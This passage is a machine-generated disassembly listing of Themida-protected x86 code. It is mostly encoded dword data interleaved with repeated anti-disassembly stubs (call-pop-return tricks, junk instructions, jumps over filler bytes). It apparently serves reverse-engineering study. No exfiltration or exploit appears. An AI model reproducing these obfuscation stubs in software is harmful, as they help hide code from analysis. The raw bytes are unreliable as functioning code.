		dd 8950D5AEh, 0E3051595h, 0BD8B5B0Ah, 0AE3330Dh, 1A65858Bh
		dd 6A0AE3h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0F96DA7C3h, 22344C1Dh, 0C6F0BEC1h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D2952C3h, 0AE31EC9h, 211D85C7h, 0AE3h, 9D030000h, 0AE301F1h
		dd 0FFF340E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 1FD8B817h, 0C18B46BEh
		dd 1B699D8Bh, 858D0AE3h, 0AE32FFDh, 90D8B70Fh, 0E4F2ACBBh
		dd 0BB66501Ah, 6A902618h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0E1BDC357h,	5BB830B4h
		dd 8B273911h, 0E30A319Dh, 0BB006A0Ah, 65451F7Dh, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD297FC3h, 0AE31AA1h, 787F858Dh, 89600AE7h,	0E312EDBDh
		dd 68C0F0Ah, 89000000h,	0E330E185h, 0C083610Ah,	1BD8905h
		dd 0E90AE325h, 8, 28048559h, 0B651AA7h,	14E990h, 1CF10000h
		dd 3D816B1Eh, 4EC1D270h, 23A7A7EBh, 0F56BC24Ch,	905041D9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6CC35747h
		dd 0EF33EEA7h, 6A9E33h,	0EB3CF81h, 6A0D54h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DC35545h, 8B92B592h
		dd 0E995FFFBh, 6A0AE314h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 6F52C352h, 0B6405C8Bh
		dd 660805ECh, 0FC400CBFh, 0D5CA8D8Dh, 6A0AE6h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0FE94FC3h, 12000000h, 3662C28Dh, 4B0CB38Fh, 0EA454E13h
		dd 0D1FF742Bh, 83F8B70Fh, 0E32269BDh, 850F010Ah, 35h, 12C18D89h
		dd 26A0AE3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	2CC35646h, 9D13F062h, 8950FCFFh, 0FFF82404h, 0E31E7195h
		dd 0F33E90Ah, 0E80000h,	5D000000h, 7889ED81h, 6A0AE7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 1BF82FC3h, 8AD7B348h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 86C35343h, 0CE923h, 0FC980000h, 0BD90229Dh
		dd 0D36315DBh, 858D5CCCh, 0AE6C13Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 41C35040h, 0A1B88632h, 3D11D7C0h
		dd 0DBD8BC0h, 660AE31Eh, 6650F88Bh, 89DF81BFh, 0BD332404h
		dd 0AE31A75h, 10E99D8Bh, 0FF640AE3h, 35h, 8964FC00h, 25h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 9E6040Bh, 0E31F5D85h, 1585FF0Ah,	6A0AE31Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0E066C353h, 0BF66871Eh, 0B70FBC84h, 6AFF6AFEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 1064C350h, 6689F2BCh, 0FF410BBBh,	0E30445B5h
		dd 3360600Ah, 0E31F098Dh, 759D890Ah, 610AE31Ah,	68E0Fh
		dd 8D0F0000h, 0
; ---------------------------------------------------------------------------
		popa
		call	dword ptr [ebp+0AE3007Dh]
		jmp	loc_5C9FB0
; ---------------------------------------------------------------------------
		dd 15799D8Bh, 0B00AE3h,	0DEBF0F51h, 8970E65Bh, 0E30A7985h
		dd 0F971E40Ah, 830F613Ch, 0C4h,	0C2663EBFh, 0C8B60F57h
		dd 52D76BBBh, 6BA0Ah, 85890000h, 0AE32B7Dh, 0BB66C18Bh
		dd 0E8C124F6h, 0DE8B6604h, 29E2F766h, 0E3052595h, 66C82B0Ah
		dd 2986DF81h, 0CE9D18Bh, 2A000000h, 0FCEAFCCFh,	3C3B21F7h
		dd 0E9B17B1Ch, 78h, 12E9h, 4DA6BD00h, 0FED92876h, 0DB02D37h
		dd 7EF37237h, 8B705CDBh, 0E3269585h, 0D1BD030Ah, 830AE305h
		dd 0DC8A07C0h, 8900C083h, 0E3023985h, 0FD03B0Ah, 0A83h
		dd 0B7F98B00h, 36E914h,	8BFC0000h, 0E328DD8Dh, 5995890Ah
		dd 830AE32Eh, 840F01E1h, 20h, 0C0DB8166h, 0DDA583BFh, 0FE0AE328h
		dd 0BF9BF0Fh, 0E311BDBDh, 9595890Ah, 0E90AE326h, 0
; ---------------------------------------------------------------------------


loc_5C9FB0:				; CODE XREF: Themida_:005C9EC7j
		lea	esi, [ebp+0AE6F994h]
		push	0
		push	ebp
		call	sub_5C9FC1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9FC1	proc near		; CODE XREF: Themida_:005C9FB9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5C9FC1	endp

; ---------------------------------------------------------------------------
		db 0BEh, 74h, 0BFh
		dd 153A0B7Ch, 10E82Ch, 0B4570000h, 0B362C19Eh, 3648C8F1h
		dd 8BF08AD5h, 7AB7E5FFh, 0FBF665Bh, 6A006A1Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0E950C353h, 0Ch, 0E1E874F1h,	388CE879h, 73AC3D85h, 13E9h
		dd 14E0BC00h, 0C44F0063h, 38E924FFh, 0B2E0EAF8h, 486B771Dh
		dd 1CD195FFh, 0B5890AE3h, 0AE30199h, 0E15B9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 709CC2CFh, 28681EDBh, 6985896Bh, 830AE32Fh, 6AFCE1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E93870C3h, 5, 39D4F350h, 6AFC0Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 5E2E5EC3h
		dd 0BD29B87Ch, 0AE30061h, 2B99E380h, 665160C0h,	5B3E0ABFh
		dd 14B99D8Bh, 89610AE3h, 0E325F59Dh, 0ADD22B0Ah, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 9733C357h, 0E19D23E5h
		dd 6A0AE308h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0DF90C356h, 0A00A4A2Ch, 619D23EAh
		dd 2B0AE32Ch, 0E325A99Dh, 880D0Ah, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B964B7C3h
		dd 8D0FE4ADh, 2, 98BB73B3h, 8B796BA8h, 0E3147995h, 0C98D8B0Ah
		dd 6A0AE306h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 696CC352h, 11E946h, 0D3320000h
		dd 0C969D98Dh, 0AF911706h, 0AF008368h, 50E0C321h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0F98B6658h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 37C35343h, 33CDBD89h
		dd 0BD830AE3h, 0AE31F61h, 9D840F00h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 9A72C357h, 13EEC771h, 0ED9D8B63h, 0E90AE312h, 0Eh, 46320148h
		dd 483FFE11h, 33F63807h, 0B87EF7h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 80B9C353h, 24B3C314h, 4E6E8D8Dh, 0DE90AE3h, 1000000h
		dd 0C63DE782h, 0F1DB99h, 0D28ED1CDh, 6AE1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0BB52C3C3h
		dd 24E5FD1Bh, 69BD83h, 0F000AE3h, 46B84h, 0A3EB8100h, 6612FE58h
		dd 0BD83DA8Bh, 0AE30069h, 70840F01h, 31000004h,	0E30911BDh
		dd 69BD830Ah, 30AE300h,	427860Fh, 0DF810000h, 2B5F97A0h
		dd 665B5760h, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B9CB3C3h, 0E30279BDh, 4E1800Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0E1C35040h
		dd 0C06AF1E5h, 0BB5CF781h, 0C90A561Ch, 17C840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0ECF67BC3h, 38971045h, 0EF816666h, 858B0D43h, 0AE31FD1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 44C35545h
		dd 0E58E7A9Dh, 3199BE28h, 0E30AE9B5h, 0E595890Ah, 330AE324h
		dd 0E31E4585h, 55006A0Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 9C90DB72h, 4330A5BEh
		dd 50901130h, 6E952h, 76840000h, 0A21901D1h, 0DE8310Fh
		dd 0D8000000h, 6FC2E8FFh, 54CF723Bh, 47C4576Bh,	40626BBh
		dd 585A5B5Ah, 0DE950h, 0AD090000h, 463877F4h, 1F6E797Fh
		dd 908579F4h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	92C35343h, 0EBB860D9h, 6AF999h,	27BEC381h, 0B2682CCFh
		dd 814052ADh, 0AE4D2434h, 8166404Dh, 8B2160EFh,	0E30FD5BDh
		dd 4595FF0Ah, 6A0AE31Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 63AAC350h, 0F98B663Eh
		dd 0D62A8589h, 6A0AE6h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 6A77C6C3h, 209E916h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 840F78C3h, 2, 858BD88Bh, 0AE6D622h, 1800C7h,	66600000h
		dd 81FAD1B8h, 2FF2C5D9h, 0B58B615Fh, 0AE6D626h,	2E21BD29h
		dd 858B0AE3h, 0AE325D1h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 38C35343h, 6A0689DEh,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 5174C357h
		dd 86E7D5C5h, 13E95Bh, 3E060000h, 8C90AB18h, 0C9280640h
		dd 1C63D0D7h, 0DBE8FED0h, 0D1858B96h, 0E80AE31Fh, 11h
		dd 0AA6D5E01h, 0FCB0B6ACh, 0A86DC4F5h, 0F4F229C8h, 0ED8D0922h
		dd 5F0AE32Bh, 8B044689h, 505096DFh, 13E852h, 0E8540000h
		dd 1A3404C1h, 7CF98AF4h, 5E52DD3Dh, 6708A0F8h, 0DFBF6692h
		dd 310F5FA7h, 2870Fh, 0D88B0000h, 6A96585Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0D67BC350h, 0B5FFCB71h, 0AE6D622h, 65EF8166h, 4E883h
		dd 3FF0000h, 5250001Fh,	0AE8h, 0E2659B00h, 958193BEh, 5BBAFE12h
		dd 0BEBF310Fh, 5A797436h, 0BB665058h, 448B8F2Fh, 0DE80424h
		dd 0BA000000h, 7BBC67F2h, 39E5D911h, 0D9374A93h, 8B5B5DB3h
		dd 0E5BB6600h, 24448913h, 9E904h, 6BC90000h, 840491EAh
		dd 5847CFFBh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	74C35141h, 7216D044h, 9DB5899Ch, 8D0AE326h, 0E6D62A85h
		dd 68B0F0Ah, 89000000h,	0E3033DBDh, 8A60900Ah, 3EB866C5h
		dd 6650611Dh, 6A90DF8Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 2BBAC353h, 0D6BF0F60h
		dd 6860Fh, 858B0000h, 0AE32331h, 0F1BD8B61h, 0FF0AE321h
		dd 0E31A4595h, 0D1B5890Ah, 610AE330h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 89C35646h, 0E6BF90D7h, 0C727BCDAh
		dd 0E3006985h, 30Ah, 0FE8B6600h, 0D62ABD83h, 0F000AE6h
		dd 2884h, 2D9D8B00h, 0E90AE319h, 38h, 0BE8h, 78AFE100h
		dd 93FA93A9h, 0BFD2AE1Dh, 7E9h,	0C654BC00h, 0EFE14682h
		dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 53006AFCh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0B5015093h, 0AE3101Dh
		dd 69BD835Fh, 30AE300h,	4B9850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E65B87C3h
		dd 8BEDCEEAh, 2ABD83D9h, 0AE6D6h, 489840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 4F6285C3h, 0C06C3596h, 0AFD381E8h, 0F75B088h, 0C81h
		dd 68E0F00h, 8B000000h,	0E3060DBDh, 2AB5FF0Ah, 0E90AE6D6h
		dd 0Eh,	0C12D8E32h, 4AA1A217h, 0E2CA1E6Dh, 95FF9EFDh, 0AE33315h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CC35545h
		dd 27451DC8h, 0B4480660h, 1CE99589h, 0CE80AE3h,	20000000h
		dd 0DD29FD8Fh, 0B1E03F26h, 661D5C36h, 7FCBF781h, 1EB58B5Fh
		dd 6A0AE6D6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0EF18C356h, 7499A94Eh,	292635F0h
		dd 0E3255D85h, 106C70Ah, 8B000100h, 0E3142DBDh,	0AE9960Ah
		dd 0E6000000h, 3158632Ch, 0CB702CADh, 0BF665064h, 8B966B83h
		dd 0E316DD9Dh, 2AB5FF0Ah, 6A0AE6D6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 8BDFC352h
		dd 0BEF5BE6Ch, 20BD95FFh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 8B9F74C3h, 0A42CA1ACh
		dd 0B5890337h, 0AE31E89h, 0D61EB58Bh, 6A0AE6h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 48DDC3C3h, 0D611EE35h, 199D29h, 858B0AE3h, 0AE31059h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A9C35545h
		dd 7B9BD89h, 86890AE3h,	0C4h, 0BE9h, 47002B00h,	6EDE3209h
		dd 699259F6h, 1479958Bh, 6A0AE3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0BBD8CDC3h, 64EC43D3h
		dd 19BD2BFCh, 830AE31Fh, 6A04C2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 43AD9EC3h, 0FA1957BFh
		dd 0DE941h, 0DA30000h, 61FA69F8h, 0D7574409h, 8957B9DEh
		dd 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0A90E94C3h, 66541359h, 8DA12DBFh,	0E6E8B385h
		dd 53006A0Ah, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 89D34CA2h, 0B886h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 306F312Ah
		dd 566BF5ADh, 6A6112h, 0B5FF5F56h, 0AE6D62Ah, 0FFFAB70Fh
		dd 0E31E7195h, 50006A0Ah, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 5AC7AD5Ah, 0BF66509Ch
		dd 3489B7A3h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0A862F4B2h, 9D899B57h, 0AE31461h
		dd 0D62AB5FFh, 6A0AE6h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0F5960FC3h, 5DDF4726h, 0BD89107Bh
		dd 0AE333C1h, 236995FFh, 19BF0AE3h, 83226C99h, 0E317ADBDh
		dd 840F000Ah, 62h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 44C35646h, 0FE5795B4h, 0A5C74E25h, 0DE8B6650h
		dd 6A243489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 1409C350h, 499ADAh, 48CFB635h
		dd 8E9h, 64B98D00h, 0CDE04B4Bh,	8B665631h, 0B5FF5BD8h
		dd 0AE6D62Ah, 1C860Fh, 8A0F0000h, 16h, 11E9h, 717CC00h
		dd 9AD8CD11h, 93273E4Fh, 0F0C024B8h, 95FF08A1h,	0AE30295h
		dd 1DDB8166h, 0FFDE8BC7h, 0E6D62AB5h, 3880F0Ah,	66000000h
		dd 95FFF88Bh, 0AE311DDh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 0FFC35040h, 831AF093h, 0E3197DBDh, 840F020Ah
		dd 46h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh
		dd 0ACC35040h, 0B9BD4EBBh, 36DDB934h, 45BD8B90h, 8B0AE325h
		dd 0E31A6585h, 6830F0Ah, 3000000h, 0E323A59Dh, 0C60Ah
		dd 18659D0Bh, 85C70AE3h, 0AE3211Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CAC17
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAC17	proc near		; CODE XREF: Themida_:005CAC0Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5CAC17	endp

; ---------------------------------------------------------------------------
		db 0B1h
		dd 659D8BA9h, 0E90AE317h, 0FFFFF245h, 2FDDBD8Bh, 10E80AE3h
		dd 0B2000000h, 0D11C7296h, 0C2B28F4Fh, 0C9EAD3E1h, 2B37F381h
		dd 0E307CD9Dh, 0C18B5F0Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 8BC35343h, 8EAF87A7h,	33AABAC0h, 3810Fh
		dd 8B660000h, 0FE8D9h, 19B30000h, 0D3CC78DCh, 0D6AF5FA7h
		dd 0E06071BDh, 0FE8B6688h, 68E0F5Bh, 81000000h,	6B406DE3h
		dd 0FD858D3Fh, 600AE32Fh, 8BF1D880h, 0E317CD95h, 0F90610Ah
		dd 1681h, 0EE86000h, 0EB000000h, 4D877578h, 6C7A8B4Dh
		dd 9B350F7Fh, 50615E05h, 714B7BBFh, 6A9039h, 22759D8Bh
		dd 6A0AE3h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	8CC35242h, 4E977602h, 6E967E1h,	8C000000h, 0A6E3C483h
		dd 85858D1Bh, 6A0AE789h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 80A8C356h, 0BE9C2E7h
		dd 72000000h, 8C57034Ch, 536DB199h, 0C0830B01h,	0CD958905h
		dd 510AE30Fh, 1901BD8Bh, 505F0AE3h, 489DE8Ah, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0CF802A57h, 6A006AA3h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 3752CCC9h
		dd 1E2B24F1h, 14E995FFh, 9E80AE3h, 19000000h, 9B38527Fh
		dd 0D65A81FEh, 21D9D8Bh, 8D5B0AE3h, 0E6D5CA8Dh,	50006A0Ah
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 755FCDEEh, 26FCABD4h, 0DA8B6678h, 799BD8Bh, 2CB70AE3h
		dd 6AD1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 239DAFC3h, 83FB8B66h, 0E32269BDh,	850F010Ah
		dd 4Fh,	18559589h, 26A0AE3h, 8E9h, 155DE900h, 0F8087BB5h
		dd 8B66505Ah, 240489FBh, 0FFB70F51h, 7195FF5Bh,	6A0AE31Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0B5B7C356h, 0F50C65A5h, 6842D954h, 0E9DF8B66h
		dd 0DDDh, 0E8h,	0ED815D00h, 0AE7898Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0A8C35545h,	6EBD750Eh, 3682561Bh
		dd 56006AEFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 3CD3131Eh, 276B84F4h, 5E876h, 5BD30000h
		dd 0E9CD5562h, 0Bh, 7BB25E8Ch, 0CE7D447Fh, 5BB4887Eh, 0C13E858Dh
		dd 8B660AE6h, 0CE950D9h, 0C6000000h, 92B15B3h, 34F7B93Eh
		dd 89C8A42Fh, 8B662404h, 35FF64F9h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_5CAF26
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAF26	proc near		; CODE XREF: Themida_:005CAF1Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5CAF26	endp

; ---------------------------------------------------------------------------
		scasb
		rcr	byte ptr [edx-63449919h], 4
		movsx	edi, cx
		inc	dword ptr [ebp+0AE31C15h]
		pusha
		push	esi
		xor	edx, 21BD1625h
		pop	edx
		mov	bx, 2E82h
		popa
		push	0FFFFFFFFh
		sub	[ebp+0AE315D5h], edx
		push	dword ptr [ebp+0AE30529h]
		push	0
		push	ebx
		call	sub_5CAF6E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAF6E	proc near		; CODE XREF: Themida_:005CAF66p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5CAF6E	endp

; ---------------------------------------------------------------------------
		xor	[esp+edi*8+11h], ebp
		aam	57h
		mov	edi, [ebp+0AE304D1h]
		or	di, 0CE2Ch
		call	dword ptr [ebp+0AE3007Dh]
		jmp	loc_5CB090
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6600B0F8h, 0E6A523BBh, 8D296070h, 0AE3138Dh,	0AC08166h
		dd 71E4614Ch, 3CDBB70Fh, 0D1830F61h, 33000000h,	0E32D01BDh
		dd 0C8B60F0Ah, 50D9D8Bh, 6BA0AE3h, 80000000h, 0C18B1ED7h
		dd 1A0D8589h, 0E8C10AE3h, 35BD8904h, 660AE313h,	0BB66E2F7h
		dd 0C82B1284h, 41B58B60h, 290AE325h, 0E3130585h, 9D33610Ah
		dd 0AE30349h, 0FC60D18Bh, 1F099D8Bh, 0E9610AE3h, 7Ch, 1681BD8Bh
		dd 858B0AE3h, 0AE32CB1h, 22D9529h, 0C0830AE3h, 0B19D8B07h
		dd 830AE331h, 9D0900C0h, 0AE317CDh, 830FD03Bh, 15h, 0B660FB8Bh
		dd 0D6BF66E2h, 41E961FCh, 9000000h, 0E32F65BDh,	4D8D8B0Ah
		dd 660AE333h, 83AE5EBBh, 840F01E1h, 28h, 5E9h, 0C1493D00h
		dd 0A583319Bh, 0AE3334Dh, 0A58D01FEh, 890AE305h, 0E32CB195h
		dd 559D230Ah, 0E90AE31Ch, 0
; ---------------------------------------------------------------------------


loc_5CB090:				; CODE XREF: Themida_:005CAF95j
		lea	esi, [ebp+0AE7099Ah]
		mov	edi, [ebp+0AE318D1h]
		jz	loc_5CB0A8
		mov	ebx, [ebp+0AE314ADh]


loc_5CB0A8:				; CODE XREF: Themida_:005CB09Cj
		push	0
		push	0
		push	eax
		call	sub_5CB0B5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB0B5	proc near		; CODE XREF: Themida_:005CB0ADp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5CB0B5	endp

; ---------------------------------------------------------------------------
		db 3Ch,	0E6h, 75h
; ---------------------------------------------------------------------------
		and	eax, 0BD891BF3h
		movsd
		or	ah, bl
		or	bh, bh
		xchg	eax, ebp
		rcr	dword ptr [ebx], 1
		or	ah, [esi-45h]
		push	0DF8B66A4h
		mov	ecx, 823h
		push	0
		push	eax
		call	sub_5CB0EE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB0EE	proc near		; CODE XREF: Themida_:005CB0E6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5CB0EE	endp

; ---------------------------------------------------------------------------
		das
		sub	[ebp+0AE323A1h], ecx
		jmp	loc_5CB111
; ---------------------------------------------------------------------------
		clc
		add	al, 7Dh
		push	cs
		xor	[edx+26h], dh


loc_5CB111:				; CODE XREF: Themida_:005CB105j
		and	ecx, 0FFFFFFFCh
		mov	[ebp+0AE3294Dh], eax
		jmp	loc_5CB132
; ---------------------------------------------------------------------------
		db 0F3h
		dd 9D3BF05Ah, 3FB9B657h, 0EDFA21Dh, 9563D742h
		db 6Ch,	20h
; ---------------------------------------------------------------------------


loc_5CB132:				; CODE XREF: Themida_:005CB11Aj
		cld
		mov	di, 0D29Eh
		sub	eax, eax
		jmp	loc_5CB150
; ---------------------------------------------------------------------------
		dw 7465h
		dd 7E5AD9FCh, 0E620587Ch, 0F5E8C891h, 0CF417438h
; ---------------------------------------------------------------------------


loc_5CB150:				; CODE XREF: Themida_:005CB139j
		sub	edx, edx
		push	0
		push	ebx
		call	sub_5CB15D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB15D	proc near		; CODE XREF: Themida_:005CB155p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CB15D	endp

; ---------------------------------------------------------------------------
		db 0D1h, 89h, 0BDh
		dd 0AE308BDh, 158E0F51h, 0E8000000h, 0Fh, 0D9FF8FB2h, 0D8012E4Bh
		dd 5BF7E65Eh, 5F6E8CF6h, 2AE3815Bh, 0AD7FCEABh,	0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0F9CAC350h,	2905B589h
		dd 0BD8B0AE3h, 0AE31E6Dh, 0FE9h, 0C95E4500h, 0ABF4E17Dh
		dd 605F12DCh, 9254BCEh,	880Dh, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 11E883A1h
		dd 3F000000h, 55E30926h, 0C59C4DC4h, 8161C232h,	0EB8EE85Bh
		dd 0E4CB8166h, 8B665FD3h, 79958BDAh, 6A0AE314h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0A4EBC353h, 2CE98044h, 6C98D8Bh, 6A0AE3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0A53FD1C3h
		dd 2CB99D8Bh, 8B500AE3h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0B99D8Bh,	0BD830AE3h, 0AE31F61h, 7D840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 363C356h, 860FA39Ch, 0Ch, 6860Fh
		dd 9D2B0000h, 0AE31735h, 0B8h, 11BD8B00h, 8D0AE311h, 0E34E6E8Dh
		dd 57006A0Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 9E94F87h, 3D000000h, 11095465h, 2EB2BFFh
		dd 9E9E1FFh, 0A6000000h, 42B20FE6h, 8E412593h, 69BD83h
		dd 0F000AE3h, 46E84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0AB359F5Eh, 11682DBFh
